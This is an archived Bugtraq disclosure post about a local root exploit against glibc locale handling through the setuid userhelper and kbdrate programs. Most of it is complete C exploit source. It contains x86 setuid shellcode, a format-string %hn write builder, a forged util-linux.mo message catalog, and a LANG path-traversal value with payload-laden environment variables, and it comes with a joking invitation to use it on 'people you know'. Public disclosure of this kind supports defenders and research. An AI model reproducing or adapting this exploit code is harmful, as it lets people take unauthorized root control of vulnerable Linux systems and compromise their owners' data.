Bugtraq mailing list archives
glibc and userhelper - local root
From: zenith parsec <zenith_parsec () THE-ASTRONAUT COM>
Date: Sat, 30 Sep 2000 13:11:53 -0000
PROBLEM: local root thru setuid+glibc locale FIX: don't let anyone else your computer. WHAT??: advantage all other fixes to be suggested... you get to use your computer more often than if you have to share it. ;} FIX: no idea yet. mebe not allow .. in the locale for root or at all? /* start of zen-nktb.c */ /*********************************************************** local root exploit - userhelper/kbdrate - console only You can only use it on people you know. --zen-parse-- ** programs ** [root@continuity /root]# rpm -qf /usr/bin/kbdrate util-linux-2.9w-24 [root@continuity /root]# rpm -qf /usr/sbin/userhelper usermode-1.35-1 [root@continuity /root]# rpm -qf /lib/libc.so.6 glibc-2.1.3-21 ** short description ** people can get root if they are logged in to your machine, actually at the console. ** longer description ** This exploits the glibc locale hole (even in fixed version). (If your name is in /var/lock/console/* then you can do it. Mebe other ways as well.) Gets past the fix because there is a call to setuid(0); just before exec-ing the called program. Now uid=euid=0 so it even gives u core dumps(owned by root). ** reason ** The sanity checks don't set done on the nonsuid programs. Maybe sanity check root and all suids? ***********************************************************/ /************************************************************************ another setlocale setuid proof of concept exploit Sat Sep 30 02:47:38 NZST 2000 - ./zen-nktb.c --zen-parse-- ************************************************************************/ #include <stdio.h> int getesp(){__asm__("movl %esp,%eax");} char shellcode[] = "\x90\x90\x31\xc0\x89\xc3\x89\xc1\xb0\x46\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/xx"; void dopercentn(char *toaddr,unsigned int startloc,unsigned int sofar,int c) // c =what i want in the 1st location // startloc=pointer to successive pointers { char *bigfmt; int f=0; unsigned int buffer=0; unsigned int d; unsigned int p,q,r,s; int n=1; unsigned int thistime; char fmt[1000]; f=startloc; bigfmt=toaddr; sofar=(0x100-sofar%0x100); thistime=(c)%0x100+(sofar); sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f); strcpy(bigfmt,fmt); sofar=(sofar+(0x100-thistime)); thistime=(c>>8)%0x100+(sofar); f++; sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f); strcat(bigfmt,fmt); sofar=sofar+(0x100-thistime); thistime=(c>>16)%0x100+(sofar); f++; sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f); strcat(bigfmt,fmt); sofar=sofar+(0x100-thistime); thistime=(c>>24)%0x100+(sofar); f++; sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f); strcat(bigfmt,fmt); } main(int argc,char *argv[],char *env[]) { FILE *fi,*fo; char buf[100000],daenv[8000]; char *cwd,evil[300]; char *localedir; unsigned long dasize=0,c,d=0,e=0,esp,i; int o=0x0c12b; int dest=0xbfffff16; if (argc>1) d=atoi(argv[1]); if (d==0) d =79; if (argc>2) e=strtoul(argv[2],0,16); if (e==0) e=0xbffffdb8; fi=fopen("./util-linux.raw","r"); if (!fi) { perror("bugger: input didn't open:"); exit(-1); } if (mkdir("LC_MESSAGES",0755)) { perror("Couldn't mkdir:"); if (chdir("LC_MESSAGES")) { perror("chdir failed:"); exit(-1); } chdir(".."); } fo=fopen("./LC_MESSAGES/util-linux.mo","w"); if (!fo) { perror("bugger: output didn't open:"); exit(-1); } dasize=fread(buf,1,sizeof(buf),fi); fclose(fi); dopercentn(buf+o,d,0,dest); strcpy(evil,"01234567890123456789012345678"); strcat(evil,shellcode); esp=(unsigned int)(argv[0])%4; esp=(6-esp)%4; *(long*)(esp+evil)=e; *(long*)(esp+evil+4)=e+1; *(long*)(esp+evil+8)=e+2; *(long*)(esp+evil+12)=e+3; fwrite(buf,1,dasize,fo); // lazy, lazy, lazy. fclose(fo); cwd=(char *)getcwd(0,0); if (!cwd) { perror("getcwd: Stop playing silly buggers. You want root, no? :"); exit(-1); } localedir=(char*)malloc(2000); if (!localedir) { perror("malloc: fuck this for a game of soldiers:"); } sprintf(localedir,"en_US/../../../../../..%s",cwd); sprintf(daenv,"LANG=%s",localedir); env[0]=0x0000000; putenv("DISPLAY=:0.0"); putenv(daenv); putenv("TERM=vt100"); putenv("SHELL=/bin/sh"); putenv("USER=root"); putenv("LOGNAME=root"); setenv("HOME",evil,1); printf("Using dir of: %s\n",localedir); execl("/usr/sbin/userhelper","/usr/sbin/userhelper","-t","-w","/sbin/kbdrate",0); } /* end of zen-nktb.c */ Send someone a cool Dynamitemail flashcard greeting!! And get rewarded. GO AHEAD! http://cards.dynamitemail.com/index.php3?rid=fc-41
Current thread:
- glibc and userhelper - local root zenith parsec (Sep 30)